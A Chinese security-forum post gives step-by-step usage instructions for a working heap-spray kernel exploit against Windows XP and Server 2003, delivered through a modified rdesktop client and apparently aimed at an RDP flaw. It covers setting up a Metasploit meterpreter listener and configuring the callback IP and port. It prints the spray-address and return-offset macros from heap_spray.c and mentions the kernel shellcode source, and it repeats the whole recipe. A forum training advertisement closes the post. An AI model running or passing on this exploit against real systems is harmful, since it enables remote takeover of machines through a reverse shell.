前后花了3个月通过能够找到的各种开源资料,看雪论坛求助,实现了xp下面的稳定利用。03可以利用自己的机器,不具备通用性。
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session
ps:
shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。
目前仅支持xp,需要xp的内存 >= 2G
如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试
自己的机器的话,是可以成功在03上利用。不具备通用性。
heap_spray.c
#ifdef _2003
#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues
#define IcaChannelInputInternal_RET_OFFSET 0x268
#else
#define IcaChannelInputInternal_RET_OFFSET 0x274
#define HEAP_SPRAY_ADDRESS 0x88c969c0
#endif
测试03
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session
1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. 修改config,配置回连ip和端口
192.168.116.133
6000
4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
5. msfconsole meterpreter 会得到session
ps:
shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。
目前仅支持xp,需要xp的内存 >= 2G
如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试
自己的机器的话,是可以成功在03上利用。不具备通用性。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-9-30 11:34
被coolboyme编辑
,原因: 补充使用说明和源码附件